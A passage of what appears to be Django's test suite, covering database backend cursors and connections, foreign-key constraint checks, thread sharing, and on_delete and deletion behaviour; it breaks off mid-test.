        self.assertEqual(models.Square.objects.count(), 9)

    @skipUnlessDBFeature('supports_paramstyle_pyformat')
    def test_cursor_execute_with_pyformat(self):
        # Support pyformat style passing of parameters #10070
        args = {'root': 3, 'square': 9}
        self.create_squares(args, 'pyformat', multiple=False)
        self.assertEqual(models.Square.objects.count(), 1)

    @skipUnlessDBFeature('supports_paramstyle_pyformat')
    def test_cursor_executemany_with_pyformat(self):
        # Support pyformat style passing of parameters #10070
        args = [{'root': i, 'square': i ** 2} for i in range(-5, 6)]
        self.create_squares(args, 'pyformat', multiple=True)
        self.assertEqual(models.Square.objects.count(), 11)
        for i in range(-5, 6):
            square = models.Square.objects.get(root=i)
            self.assertEqual(square.square, i ** 2)

    @skipUnlessDBFeature('supports_paramstyle_pyformat')
    def test_cursor_executemany_with_pyformat_iterator(self):
        args = iter({'root': i, 'square': i ** 2} for i in range(-3, 2))
        self.create_squares(args, 'pyformat', multiple=True)
        self.assertEqual(models.Square.objects.count(), 5)

        args = iter({'root': i, 'square': i ** 2} for i in range(3, 7))
        with override_settings(DEBUG=True):
            # same test for DebugCursorWrapper
            self.create_squares(args, 'pyformat', multiple=True)
        self.assertEqual(models.Square.objects.count(), 9)

    def test_unicode_fetches(self):
        # fetchone, fetchmany, fetchall return strings as unicode objects #6254
        qn = connection.ops.quote_name
        models.Person(first_name="John", last_name="Doe").save()
        models.Person(first_name="Jane", last_name="Doe").save()
        models.Person(first_name="Mary", last_name="Agnelline").save()
        models.Person(first_name="Peter", last_name="Parker").save()
        models.Person(first_name="Clark", last_name="Kent").save()
        opts2 = models.Person._meta
        f3, f4 = opts2.get_field('first_name'), opts2.get_field('last_name')
        cursor = connection.cursor()
        cursor.execute(
            'SELECT %s, %s FROM %s ORDER BY %s' % (
                qn(f3.column),
                qn(f4.column),
                connection.introspection.table_name_converter(opts2.db_table),
                qn(f3.column),
            )
        )
        self.assertEqual(cursor.fetchone(), ('Clark', 'Kent'))
        self.assertEqual(list(cursor.fetchmany(2)), [('Jane', 'Doe'), ('John', 'Doe')])
        self.assertEqual(list(cursor.fetchall()), [('Mary', 'Agnelline'), ('Peter', 'Parker')])

    def test_unicode_password(self):
        old_password = connection.settings_dict['PASSWORD']
        connection.settings_dict['PASSWORD'] = "françois"
        try:
            connection.cursor()
        except DatabaseError:
            # As password is probably wrong, a database exception is expected
            pass
        except Exception as e:
            self.fail("Unexpected error raised with unicode password: %s" % e)
        finally:
            connection.settings_dict['PASSWORD'] = old_password

    def test_database_operations_helper_class(self):
        # Ticket #13630
        self.assertTrue(hasattr(connection, 'ops'))
        self.assertTrue(hasattr(connection.ops, 'connection'))
        self.assertEqual(connection, connection.ops.connection)

    def test_database_operations_init(self):
        """
        Test that DatabaseOperations initialization doesn't query the database.
        See #17656.
        """
        with self.assertNumQueries(0):
            connection.ops.__class__(connection)

    def test_cached_db_features(self):
        self.assertIn(connection.features.supports_transactions, (True, False))
        self.assertIn(connection.features.supports_stddev, (True, False))
        self.assertIn(connection.features.can_introspect_foreign_keys, (True, False))

    def test_duplicate_table_error(self):
        """ Test that creating an existing table returns a DatabaseError """
        cursor = connection.cursor()
        query = 'CREATE TABLE %s (id INTEGER);' % models.Article._meta.db_table
        with self.assertRaises(DatabaseError):
            cursor.execute(query)

    def test_cursor_contextmanager(self):
        """
        Test that cursors can be used as a context manager
        """
        with connection.cursor() as cursor:
            self.assertIsInstance(cursor, CursorWrapper)
        # Both InterfaceError and ProgrammingError seem to be used when
        # accessing closed cursor (psycopg2 has InterfaceError, rest seem
        # to use ProgrammingError).
        with self.assertRaises(connection.features.closed_cursor_error_class):
            # cursor should be closed, so no queries should be possible.
            cursor.execute("SELECT 1" + connection.features.bare_select_suffix)

    @unittest.skipUnless(connection.vendor == 'postgresql',
                         "Psycopg2 specific cursor.closed attribute needed")
    def test_cursor_contextmanager_closing(self):
        # There isn't a generic way to test that cursors are closed, but
        # psycopg2 offers us a way to check that by closed attribute.
        # So, run only on psycopg2 for that reason.
        with connection.cursor() as cursor:
            self.assertIsInstance(cursor, CursorWrapper)
        self.assertTrue(cursor.closed)

    # Unfortunately with sqlite3 the in-memory test database cannot be closed.
    @skipUnlessDBFeature('test_db_allows_multiple_connections')
    def test_is_usable_after_database_disconnects(self):
        """
        Test that is_usable() doesn't crash when the database disconnects.

        Regression for #21553.
        """
        # Open a connection to the database.
        with connection.cursor():
            pass
        # Emulate a connection close by the database.
        connection._close()
        # Even then is_usable() should not raise an exception.
        try:
            self.assertFalse(connection.is_usable())
        finally:
            # Clean up the mess created by connection._close(). Since the
            # connection is already closed, this crashes on some backends.
            try:
                connection.close()
            except Exception:
                pass

    @override_settings(DEBUG=True)
    def test_queries(self):
        """
        Test the documented API of connection.queries.
        """
        with connection.cursor() as cursor:
            reset_queries()
            cursor.execute("SELECT 1" + connection.features.bare_select_suffix)
        self.assertEqual(1, len(connection.queries))

        self.assertIsInstance(connection.queries, list)
        self.assertIsInstance(connection.queries[0], dict)
        six.assertCountEqual(self, connection.queries[0].keys(), ['sql', 'time'])

        reset_queries()
        self.assertEqual(0, len(connection.queries))

    # Unfortunately with sqlite3 the in-memory test database cannot be closed.
    @skipUnlessDBFeature('test_db_allows_multiple_connections')
    @override_settings(DEBUG=True)
    def test_queries_limit(self):
        """
        Test that the backend doesn't store an unlimited number of queries.

        Regression for #12581.
        """
        old_queries_limit = BaseDatabaseWrapper.queries_limit
        BaseDatabaseWrapper.queries_limit = 3
        new_connection = connection.copy()

        # Initialize the connection and clear initialization statements.
        with new_connection.cursor():
            pass
        new_connection.queries_log.clear()

        try:
            with new_connection.cursor() as cursor:
                cursor.execute("SELECT 1" + new_connection.features.bare_select_suffix)
                cursor.execute("SELECT 2" + new_connection.features.bare_select_suffix)

            with warnings.catch_warnings(record=True) as w:
                self.assertEqual(2, len(new_connection.queries))
                self.assertEqual(0, len(w))

            with new_connection.cursor() as cursor:
                cursor.execute("SELECT 3" + new_connection.features.bare_select_suffix)
                cursor.execute("SELECT 4" + new_connection.features.bare_select_suffix)

            with warnings.catch_warnings(record=True) as w:
                self.assertEqual(3, len(new_connection.queries))
                self.assertEqual(1, len(w))
                self.assertEqual(
                    str(w[0].message),
                    "Limit for query logging exceeded, only the last 3 queries will be returned."
                )
        finally:
            BaseDatabaseWrapper.queries_limit = old_queries_limit
            new_connection.close()

    def test_timezone_none_use_tz_false(self):
        connection.ensure_connection()
        with self.settings(TIME_ZONE=None, USE_TZ=False):
            connection.init_connection_state()


# We don't make these tests conditional because that means we would need to
# check and differentiate between:
# * MySQL+InnoDB, MySQL+MYISAM (something we currently can't do).
# * if sqlite3 (if/once we get #14204 fixed) has referential integrity turned
#   on or not, something that would be controlled by runtime support and user
#   preference.
# verify if its type is django.database.db.IntegrityError.
class FkConstraintsTests(TransactionTestCase):

    available_apps = ['backends']

    def setUp(self):
        # Create a Reporter.
        self.r = models.Reporter.objects.create(first_name='John', last_name='Smith')

    def test_integrity_checks_on_creation(self):
        """
        Try to create a model instance that violates a FK constraint. If it
        fails it should fail with IntegrityError.
        """
        a1 = models.Article(headline="This is a test", pub_date=datetime.datetime(2005, 7, 27), reporter_id=30)
        try:
            a1.save()
        except IntegrityError:
            pass
        else:
            self.skipTest("This backend does not support integrity checks.")
        # Now that we know this backend supports integrity checks we make sure
        # constraints are also enforced for proxy models. Refs #17519
        a2 = models.Article(headline='This is another test', reporter=self.r,
                            pub_date=datetime.datetime(2012, 8, 3),
                            reporter_proxy_id=30)
        with self.assertRaises(IntegrityError):
            a2.save()

    def test_integrity_checks_on_update(self):
        """
        Try to update a model instance introducing a FK constraint violation.
        If it fails it should fail with IntegrityError.
        """
        # Create an Article.
        models.Article.objects.create(headline="Test article", pub_date=datetime.datetime(2010, 9, 4), reporter=self.r)
        # Retrieve it from the DB
        a1 = models.Article.objects.get(headline="Test article")
        a1.reporter_id = 30
        try:
            a1.save()
        except IntegrityError:
            pass
        else:
            self.skipTest("This backend does not support integrity checks.")
        # Now that we know this backend supports integrity checks we make sure
        # constraints are also enforced for proxy models. Refs #17519
        # Create another article
        r_proxy = models.ReporterProxy.objects.get(pk=self.r.pk)
        models.Article.objects.create(headline='Another article',
                                      pub_date=datetime.datetime(1988, 5, 15),
                                      reporter=self.r, reporter_proxy=r_proxy)
        # Retrieve the second article from the DB
        a2 = models.Article.objects.get(headline='Another article')
        a2.reporter_proxy_id = 30
        with self.assertRaises(IntegrityError):
            a2.save()

    def test_disable_constraint_checks_manually(self):
        """
        When constraint checks are disabled, should be able to write bad data
        without IntegrityErrors.
        """
        with transaction.atomic():
            # Create an Article.
            models.Article.objects.create(
                headline="Test article",
                pub_date=datetime.datetime(2010, 9, 4),
                reporter=self.r,
            )
            # Retrieve it from the DB
            a = models.Article.objects.get(headline="Test article")
            a.reporter_id = 30
            try:
                connection.disable_constraint_checking()
                a.save()
                connection.enable_constraint_checking()
            except IntegrityError:
                self.fail("IntegrityError should not have occurred.")
            transaction.set_rollback(True)

    def test_disable_constraint_checks_context_manager(self):
        """
        When constraint checks are disabled (using context manager), should be
        able to write bad data without IntegrityErrors.
        """
        with transaction.atomic():
            # Create an Article.
            models.Article.objects.create(
                headline="Test article",
                pub_date=datetime.datetime(2010, 9, 4),
                reporter=self.r,
            )
            # Retrieve it from the DB
            a = models.Article.objects.get(headline="Test article")
            a.reporter_id = 30
            try:
                with connection.constraint_checks_disabled():
                    a.save()
            except IntegrityError:
                self.fail("IntegrityError should not have occurred.")
            transaction.set_rollback(True)

    def test_check_constraints(self):
        """
        Constraint checks should raise an IntegrityError when bad data is in the DB.
        """
        with transaction.atomic():
            # Create an Article.
            models.Article.objects.create(
                headline="Test article",
                pub_date=datetime.datetime(2010, 9, 4),
                reporter=self.r,
            )
            # Retrieve it from the DB
            a = models.Article.objects.get(headline="Test article")
            a.reporter_id = 30
            with connection.constraint_checks_disabled():
                a.save()
                with self.assertRaises(IntegrityError):
                    connection.check_constraints()
            transaction.set_rollback(True)


class ThreadTests(TransactionTestCase):

    available_apps = ['backends']

    def test_default_connection_thread_local(self):
        """
        Ensure that the default connection (i.e. django.db.connection) is
        different for each thread.
        Refs #17258.
        """
        # Map connections by id because connections with identical aliases
        # have the same hash.
        connections_dict = {}
        connection.cursor()
        connections_dict[id(connection)] = connection

        def runner():
            # Passing django.db.connection between threads doesn't work while
            # connections[DEFAULT_DB_ALIAS] does.
            from django.db import connections
            connection = connections[DEFAULT_DB_ALIAS]
            # Allow thread sharing so the connection can be closed by the
            # main thread.
            connection.allow_thread_sharing = True
            connection.cursor()
            connections_dict[id(connection)] = connection
        for x in range(2):
            t = threading.Thread(target=runner)
            t.start()
            t.join()
        # Check that each created connection got different inner connection.
        self.assertEqual(
            len(set(conn.connection for conn in connections_dict.values())),
            3)
        # Finish by closing the connections opened by the other threads (the
        # connection opened in the main thread will automatically be closed on
        # teardown).
        for conn in connections_dict.values():
            if conn is not connection:
                conn.close()

    def test_connections_thread_local(self):
        """
        Ensure that the connections are different for each thread.
        Refs #17258.
        """
        # Map connections by id because connections with identical aliases
        # have the same hash.
        connections_dict = {}
        for conn in connections.all():
            connections_dict[id(conn)] = conn

        def runner():
            from django.db import connections
            for conn in connections.all():
                # Allow thread sharing so the connection can be closed by the
                # main thread.
                conn.allow_thread_sharing = True
                connections_dict[id(conn)] = conn
        for x in range(2):
            t = threading.Thread(target=runner)
            t.start()
            t.join()
        self.assertEqual(len(connections_dict), 6)
        # Finish by closing the connections opened by the other threads (the
        # connection opened in the main thread will automatically be closed on
        # teardown).
        for conn in connections_dict.values():
            if conn is not connection:
                conn.close()

    def test_pass_connection_between_threads(self):
        """
        Ensure that a connection can be passed from one thread to the other.
        Refs #17258.
        """
        models.Person.objects.create(first_name="John", last_name="Doe")

        def do_thread():
            def runner(main_thread_connection):
                from django.db import connections
                connections['default'] = main_thread_connection
                try:
                    models.Person.objects.get(first_name="John", last_name="Doe")
                except Exception as e:
                    exceptions.append(e)
            t = threading.Thread(target=runner, args=[connections['default']])
            t.start()
            t.join()

        # Without touching allow_thread_sharing, which should be False by default.
        exceptions = []
        do_thread()
        # Forbidden!
        self.assertIsInstance(exceptions[0], DatabaseError)

        # If explicitly setting allow_thread_sharing to False
        connections['default'].allow_thread_sharing = False
        exceptions = []
        do_thread()
        # Forbidden!
        self.assertIsInstance(exceptions[0], DatabaseError)

        # If explicitly setting allow_thread_sharing to True
        connections['default'].allow_thread_sharing = True
        exceptions = []
        do_thread()
        # All good
        self.assertEqual(exceptions, [])

    def test_closing_non_shared_connections(self):
        """
        Ensure that a connection that is not explicitly shareable cannot be
        closed by another thread.
        Refs #17258.
        """
        # First, without explicitly enabling the connection for sharing.
        exceptions = set()

        def runner1():
            def runner2(other_thread_connection):
                try:
                    other_thread_connection.close()
                except DatabaseError as e:
                    exceptions.add(e)
            t2 = threading.Thread(target=runner2, args=[connections['default']])
            t2.start()
            t2.join()
        t1 = threading.Thread(target=runner1)
        t1.start()
        t1.join()
        # The exception was raised
        self.assertEqual(len(exceptions), 1)

        # Then, with explicitly enabling the connection for sharing.
        exceptions = set()

        def runner1():
            def runner2(other_thread_connection):
                try:
                    other_thread_connection.close()
                except DatabaseError as e:
                    exceptions.add(e)
            # Enable thread sharing
            connections['default'].allow_thread_sharing = True
            t2 = threading.Thread(target=runner2, args=[connections['default']])
            t2.start()
            t2.join()
        t1 = threading.Thread(target=runner1)
        t1.start()
        t1.join()
        # No exception was raised
        self.assertEqual(len(exceptions), 0)


class MySQLPKZeroTests(TestCase):
    """
    Zero as id for AutoField should raise exception in MySQL, because MySQL
    does not allow zero for autoincrement primary key.
    """
    @skipIfDBFeature('allows_auto_pk_0')
    def test_zero_as_autoval(self):
        with self.assertRaises(ValueError):
            models.Square.objects.create(id=0, root=0, square=1)


class DBConstraintTestCase(TestCase):

    def test_can_reference_existent(self):
        obj = models.Object.objects.create()
        ref = models.ObjectReference.objects.create(obj=obj)
        self.assertEqual(ref.obj, obj)

        ref = models.ObjectReference.objects.get(obj=obj)
        self.assertEqual(ref.obj, obj)

    def test_can_reference_non_existent(self):
        self.assertFalse(models.Object.objects.filter(id=12345).exists())
        ref = models.ObjectReference.objects.create(obj_id=12345)
        ref_new = models.ObjectReference.objects.get(obj_id=12345)
        self.assertEqual(ref, ref_new)

        with self.assertRaises(models.Object.DoesNotExist):
            ref.obj

    def test_many_to_many(self):
        obj = models.Object.objects.create()
        obj.related_objects.create()
        self.assertEqual(models.Object.objects.count(), 2)
        self.assertEqual(obj.related_objects.count(), 1)

        intermediary_model = models.Object._meta.get_field("related_objects").remote_field.through
        intermediary_model.objects.create(from_object_id=obj.id, to_object_id=12345)
        self.assertEqual(obj.related_objects.count(), 1)
        self.assertEqual(intermediary_model.objects.count(), 2)


class BackendUtilTests(SimpleTestCase):

    def test_format_number(self):
        """
        Test the format_number converter utility
        """
        def equal(value, max_d, places, result):
            self.assertEqual(format_number(Decimal(value), max_d, places), result)

        equal('0', 12, 3,
              '0.000')
        equal('0', 12, 8,
              '0.00000000')
        equal('1', 12, 9,
              '1.000000000')
        equal('0.00000000', 12, 8,
              '0.00000000')
        equal('0.000000004', 12, 8,
              '0.00000000')
        equal('0.000000008', 12, 8,
              '0.00000001')
        equal('0.000000000000000000999', 10, 8,
              '0.00000000')
        equal('0.1234567890', 12, 10,
              '0.1234567890')
        equal('0.1234567890', 12, 9,
              '0.123456789')
        equal('0.1234567890', 12, 8,
              '0.12345679')
        equal('0.1234567890', 12, 5,
              '0.12346')
        equal('0.1234567890', 12, 3,
              '0.123')
        equal('0.1234567890', 12, 1,
              '0.1')
        equal('0.1234567890', 12, 0,
              '0')
        equal('0.1234567890', None, 0,
              '0')
        equal('1234567890.1234567890', None, 0,
              '1234567890')
        equal('1234567890.1234567890', None, 2,
              '1234567890.12')
        equal('0.1234', 5, None,
              '0.1234')
        equal('123.12', 5, None,
              '123.12')
        with self.assertRaises(Rounded):
            equal('0.1234567890', 5, None,
                  '0.12346')
        with self.assertRaises(Rounded):
            equal('1234567890.1234', 5, None,
                  '1234600000')


@unittest.skipUnless(connection.vendor == 'sqlite', 'SQLite specific test.')
@skipUnlessDBFeature('can_share_in_memory_db')
class TestSqliteThreadSharing(TransactionTestCase):
    available_apps = ['backends']

    def test_database_sharing_in_threads(self):
        def create_object():
            models.Object.objects.create()

        create_object()

        thread = threading.Thread(target=create_object)
        thread.start()
        thread.join()

        self.assertEqual(models.Object.objects.count(), 2)






from __future__ import unicode_literals

import unittest

from django.db import connection
from django.test import TestCase, override_settings


@override_settings(DEBUG=True)
@unittest.skipUnless(connection.vendor == 'mysql', 'MySQL specific test.')
class MySQLTests(TestCase):

    def test_auto_is_null_auto_config(self):
        query = 'set sql_auto_is_null = 0'
        connection.init_connection_state()
        last_query = connection.queries[-1]['sql'].lower()
        if connection.features.is_sql_auto_is_null_enabled:
            self.assertIn(query, last_query)
        else:
            self.assertNotIn(query, last_query)






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class R(models.Model):
    is_default = models.BooleanField(default=False)

    def __str__(self):
        return "%s" % self.pk


def get_default_r():
    return R.objects.get_or_create(is_default=True)[0].pk


class S(models.Model):
    r = models.ForeignKey(R, models.CASCADE)


class T(models.Model):
    s = models.ForeignKey(S, models.CASCADE)


class U(models.Model):
    t = models.ForeignKey(T, models.CASCADE)


class RChild(R):
    pass


class A(models.Model):
    name = models.CharField(max_length=30)

    auto = models.ForeignKey(R, models.CASCADE, related_name="auto_set")
    auto_nullable = models.ForeignKey(R, models.CASCADE, null=True, related_name='auto_nullable_set')
    setvalue = models.ForeignKey(R, models.SET(get_default_r), related_name='setvalue')
    setnull = models.ForeignKey(R, models.SET_NULL, null=True, related_name='setnull_set')
    setdefault = models.ForeignKey(R, models.SET_DEFAULT, default=get_default_r, related_name='setdefault_set')
    setdefault_none = models.ForeignKey(
        R, models.SET_DEFAULT,
        default=None, null=True, related_name='setnull_nullable_set',
    )
    cascade = models.ForeignKey(R, models.CASCADE, related_name='cascade_set')
    cascade_nullable = models.ForeignKey(R, models.CASCADE, null=True, related_name='cascade_nullable_set')
    protect = models.ForeignKey(R, models.PROTECT, null=True)
    donothing = models.ForeignKey(R, models.DO_NOTHING, null=True, related_name='donothing_set')
    child = models.ForeignKey(RChild, models.CASCADE, related_name="child")
    child_setnull = models.ForeignKey(RChild, models.SET_NULL, null=True, related_name="child_setnull")

    # A OneToOneField is just a ForeignKey unique=True, so we don't duplicate
    # all the tests; just one smoke test to ensure on_delete works for it as
    # well.
    o2o_setnull = models.ForeignKey(R, models.SET_NULL, null=True, related_name="o2o_nullable_set")


def create_a(name):
    a = A(name=name)
    for name in ('auto', 'auto_nullable', 'setvalue', 'setnull', 'setdefault',
                 'setdefault_none', 'cascade', 'cascade_nullable', 'protect',
                 'donothing', 'o2o_setnull'):
        r = R.objects.create()
        setattr(a, name, r)
    a.child = RChild.objects.create()
    a.child_setnull = RChild.objects.create()
    a.save()
    return a


class M(models.Model):
    m2m = models.ManyToManyField(R, related_name="m_set")
    m2m_through = models.ManyToManyField(R, through="MR", related_name="m_through_set")
    m2m_through_null = models.ManyToManyField(R, through="MRNull", related_name="m_through_null_set")


class MR(models.Model):
    m = models.ForeignKey(M, models.CASCADE)
    r = models.ForeignKey(R, models.CASCADE)


class MRNull(models.Model):
    m = models.ForeignKey(M, models.CASCADE)
    r = models.ForeignKey(R, models.SET_NULL, null=True)


class Avatar(models.Model):
    desc = models.TextField(null=True)


# This model is used to test a duplicate query regression (#25685)
class AvatarProxy(Avatar):
    class Meta:
        proxy = True


class User(models.Model):
    avatar = models.ForeignKey(Avatar, models.CASCADE, null=True)


class HiddenUser(models.Model):
    r = models.ForeignKey(R, models.CASCADE, related_name="+")


class HiddenUserProfile(models.Model):
    user = models.ForeignKey(HiddenUser, models.CASCADE)


class M2MTo(models.Model):
    pass


class M2MFrom(models.Model):
    m2m = models.ManyToManyField(M2MTo)


class Parent(models.Model):
    pass


class Child(Parent):
    pass


class Base(models.Model):
    pass


class RelToBase(models.Model):
    base = models.ForeignKey(Base, models.DO_NOTHING)












from __future__ import unicode_literals

from math import ceil

from django.db import IntegrityError, connection, models
from django.db.models.sql.constants import GET_ITERATOR_CHUNK_SIZE
from django.test import TestCase, skipIfDBFeature, skipUnlessDBFeature
from django.utils.six.moves import range

from .models import (
    MR, A, Avatar, Base, Child, HiddenUser, HiddenUserProfile, M, M2MFrom,
    M2MTo, MRNull, Parent, R, RChild, S, T, User, create_a, get_default_r,
)


class OnDeleteTests(TestCase):
    def setUp(self):
        self.DEFAULT = get_default_r()

    def test_auto(self):
        a = create_a('auto')
        a.auto.delete()
        self.assertFalse(A.objects.filter(name='auto').exists())

    def test_auto_nullable(self):
        a = create_a('auto_nullable')
        a.auto_nullable.delete()
        self.assertFalse(A.objects.filter(name='auto_nullable').exists())

    def test_setvalue(self):
        a = create_a('setvalue')
        a.setvalue.delete()
        a = A.objects.get(pk=a.pk)
        self.assertEqual(self.DEFAULT, a.setvalue.pk)

    def test_setnull(self):
        a = create_a('setnull')
        a.setnull.delete()
        a = A.objects.get(pk=a.pk)
        self.assertIsNone(a.setnull)

    def test_setdefault(self):
        a = create_a('setdefault')
        a.setdefault.delete()
        a = A.objects.get(pk=a.pk)
        self.assertEqual(self.DEFAULT, a.setdefault.pk)

    def test_setdefault_none(self):
        a = create_a('setdefault_none')
        a.setdefault_none.delete()
        a = A.objects.get(pk=a.pk)
        self.assertIsNone(a.setdefault_none)

    def test_cascade(self):
        a = create_a('cascade')
        a.cascade.delete()
        self.assertFalse(A.objects.filter(name='cascade').exists())

    def test_cascade_nullable(self):
        a = create_a('cascade_nullable')
        a.cascade_nullable.delete()
        self.assertFalse(A.objects.filter(name='cascade_nullable').exists())

    def test_protect(self):
        a = create_a('protect')
        with self.assertRaises(IntegrityError):
            a.protect.delete()

    def test_do_nothing(self):
        # Testing DO_NOTHING is a bit harder: It would raise IntegrityError for a normal model,
        # so we connect to pre_delete and set the fk to a known value.
        replacement_r = R.objects.create()

        def check_do_nothing(sender, **kwargs):
            obj = kwargs['instance']
            obj.donothing_set.update(donothing=replacement_r)
        models.signals.pre_delete.connect(check_do_nothing)
        a = create_a('do_nothing')
        a.donothing.delete()
        a = A.objects.get(pk=a.pk)
        self.assertEqual(replacement_r, a.donothing)
        models.signals.pre_delete.disconnect(check_do_nothing)

    def test_do_nothing_qscount(self):
        """
        Test that a models.DO_NOTHING relation doesn't trigger a query.
        """
        b = Base.objects.create()
        with self.assertNumQueries(1):
            # RelToBase should not be queried.
            b.delete()
        self.assertEqual(Base.objects.count(), 0)

    def test_inheritance_cascade_up(self):
        child = RChild.objects.create()
        child.delete()
        self.assertFalse(R.objects.filter(pk=child.pk).exists())

    def test_inheritance_cascade_down(self):
        child = RChild.objects.create()
        parent = child.r_ptr
        parent.delete()
        self.assertFalse(RChild.objects.filter(pk=child.pk).exists())

    def test_cascade_from_child(self):
        a = create_a('child')
        a.child.delete()
        self.assertFalse(A.objects.filter(name='child').exists())
        self.assertFalse(R.objects.filter(pk=a.child_id).exists())

    def test_cascade_from_parent(self):
        a = create_a('child')
        R.objects.get(pk=a.child_id).delete()
        self.assertFalse(A.objects.filter(name='child').exists())
        self.assertFalse(RChild.objects.filter(pk=a.child_id).exists())

    def test_setnull_from_child(self):
        a = create_a('child_setnull')
        a.child_setnull.delete()
        self.assertFalse(R.objects.filter(pk=a.child_setnull_id).exists())

        a = A.objects.get(pk=a.pk)
        self.assertIsNone(a.child_setnull)

    def test_setnull_from_parent(self):
        a = create_a('child_setnull')
        R.objects.get(pk=a.child_setnull_id).delete()
        self.assertFalse(RChild.objects.filter(pk=a.child_setnull_id).exists())

        a = A.objects.get(pk=a.pk)
        self.assertIsNone(a.child_setnull)

    def test_o2o_setnull(self):
        a = create_a('o2o_setnull')
        a.o2o_setnull.delete()
        a = A.objects.get(pk=a.pk)
        self.assertIsNone(a.o2o_setnull)


class DeletionTests(TestCase):

    def test_m2m(self):
        m = M.objects.create()
        r = R.objects.create()
        MR.objects.create(m=m, r=r)
        r.delete()
        self.assertFalse(MR.objects.exists())

        r = R.objects.create()
        MR.objects.create(m=m, r=r)
        m.delete()
        self.assertFalse(MR.objects.exists())

        m = M.objects.create()
        r = R.objects.create()
        m.m2m.add(r)
        r.delete()
        through = M._meta.get_field('m2m').remote_field.through
        self.assertFalse(through.objects.exists())

        r = R.objects.create()
        m.m2m.add(r)
        m.delete()
        self.assertFalse(through.objects.exists())

        m = M.objects.create()
        r = R.objects.create()
        MRNull.objects.create(m=m, r=r)
        r.delete()
        self.assertFalse(not MRNull.objects.exists())
        self.assertFalse(m.m2m_through_null.exists())

    def test_bulk(self):
        s = S.objects.create(r=R.objects.create())
        for i in range(2 * GET_ITERATOR_CHUNK_SIZE):
            T.objects.create(s=s)
        #   1 (select related `T` instances)
        # + 1 (select related `U` instances)
        # + 2 (delete `T` instances in batches)
        # + 1 (delete `s`)
        self.assertNumQueries(5, s.delete)
        self.assertFalse(S.objects.exists())

    def test_instance_update(self):
        deleted = []
        related_setnull_sets = []

        def pre_delete(sender, **kwargs):
            obj = kwargs['instance']
            deleted.append(obj)
            if isinstance(obj, R):
                related_setnull_sets.append(list(a.pk for a in obj.setnull_set.all()))

        models.signals.pre_delete.connect(pre_delete)
        a = create_a('update_setnull')
        a.setnull.delete()

        a = create_a('update_cascade')
        a.cascade.delete()

        for obj in deleted:
            self.assertIsNone(obj.pk)

        for pk_list in related_setnull_sets:
            for a in A.objects.filter(id__in=pk_list):
                self.assertIsNone(a.setnull)

        models.signals.pre_delete.disconnect(pre_delete)

    def test_deletion_order(self):
        pre_delete_order = []
        post_delete_order = []

        def log_post_delete(sender, **kwargs):
            pre_delete_order.append((sender, kwargs['instance'].pk))

        def log_pre_delete(sender, **kwargs):
            post_delete_order.append((sender, kwargs['instance'].pk))

        models.signals.post_delete.connect(log_post_delete)
        models.signals.pre_delete.connect(log_pre_delete)

        r = R.objects.create(pk=1)
        s1 = S.objects.create(pk=1, r=r)
        s2 = S.objects.create(pk=2, r=r)
        T.objects.create(pk=1, s=s1)
        T.objects.create(pk=2, s=s2)
        RChild.objects.create(r_ptr=r)
        r.delete()
        self.assertEqual(
            pre_delete_order, [(T, 2), (T, 1), (RChild, 1), (S, 2), (S, 1), (R, 1)]
        )
        self.assertEqual(
            post_delete_order, [(T, 1), (T, 2), (RChild, 1), (S, 1), (S, 2), (R, 1)]
        )

        models.signals.post_delete.disconnect(log_post_delete)
        models.signals.pre_delete.disconnect(log_pre_delete)

    def test_relational_post_delete_signals_happen_before_parent_object(self):
        deletions = []

        def log_post_delete(instance, **kwargs):
            self.assertTrue(R.objects.filter(pk=instance.r_id))
            self.assertIs(type(instance), S)
            deletions.append(instance.id)

        r = R.objects.create(pk=1)
        S.objects.create(pk=1, r=r)

        models.signals.post_delete.connect(log_post_delete, sender=S)

        try:
            r.delete()
        finally:
            models.signals.post_delete.disconnect(log_post_delete)

        self.assertEqual(len(deletions), 1)
        self.assertEqual(deletions[0], 1)

    @skipUnlessDBFeature("can_defer_constraint_checks")
    def test_can_defer_constraint_checks(self):
        u = User.objects.create(
            avatar=Avatar.objects.create()
        )
        a = Avatar.objects.get(pk=u.avatar_id)
        # 1 query to find the users for the avatar.
        # 1 query to delete the user
        # 1 query to delete the avatar
        # The important thing is that when we can defer constraint checks there
        # is no need to do an UPDATE on User.avatar to null it out.

        # Attach a signal to make sure we will not do fast_deletes.
        calls = []

        def noop(*args, **kwargs):
            calls.append('')
        models.signals.post_delete.connect(noop, sender=User)

        self.assertNumQueries(3, a.delete)
        self.assertFalse(User.objects.exists())
        self.assertFalse(Avatar.objects.exists())
        self.assertEqual(len(calls), 1)
        models.signals.post_delete.disconnect(noop, sender=User)

    @skipIfDBFeature("can_defer_constraint_checks")
    def test_cannot_defer_constraint_checks(self):
        u = User.objects.create(
            avatar=Avatar.objects.create()
        )
        # Attach a signal to make sure we will not do fast_deletes.
        calls = []

        def noop(*args, **kwargs):
            calls.append('')
        models.signals.post_delete.connect(noop, sender=User)

        a = Avatar.objects.get(pk=u.avatar_id)
        # The below doesn't make sense... Why do we need to null out
        # user.avatar if we are going to delete the user immediately after it,
        # and there are no more cascades.
        # 1 query to find the users for the avatar.
        # 1 query to delete the user
        # 1 query to null out user.avatar, because we can't defer the constraint
        # 1 query to delete the avatar
        self.assertNumQueries(4, a.delete)
        self.assertFalse(User.objects.exists())
        self.assertFalse(Avatar.objects.exists())
        self.assertEqual(len(calls), 1)
        models.signals.post_delete.disconnect(noop, sender=User)

    def test_hidden_related(self):
        r = R.objects.create()
        h = HiddenUser.objects.create(r=r)
        HiddenUserProfile.objects.create(user=h)

        r.delete()
        self.assertEqual(HiddenUserProfile.objects.count(), 0)

    def test_large_delete(self):
        TEST_SIZE = 2000
        objs = [Avatar() for i in range(0, TEST_SIZE)]
        Avatar.objects.bulk_create(objs)
        # Calculate the number of queries needed.
        batch_size = connection.ops.bulk_batch_size(['pk'], objs)
        # The related fetches are done in batches.
        batches = int(ceil(float(len(objs)) / batch_size))
        # One query for Avatar.objects.all() and then one related fast delete for
        # each batch.
        fetches_to_mem = 1 + batches
        # The Avatar objects are going to be deleted in batches of GET_ITERATOR_CHUNK_SIZE
        queries = fetches_to_mem + TEST_SIZE // GET_ITERATOR_CHUNK_SIZE
        self.assertNumQueries(queries, Avatar.objects.all().delete)
        self.assertFalse(Avatar.objects.exists())

    def test_large_delete_related(self):
        TEST_SIZE = 2000
        s = S.objects.create(r=R.objects.create())
        for i in range(TEST_SIZE):
            T.objects.create(s=s)

        batch_size = max(connection.ops.bulk_batch_size(['pk'], range(TEST_SIZE)), 1)

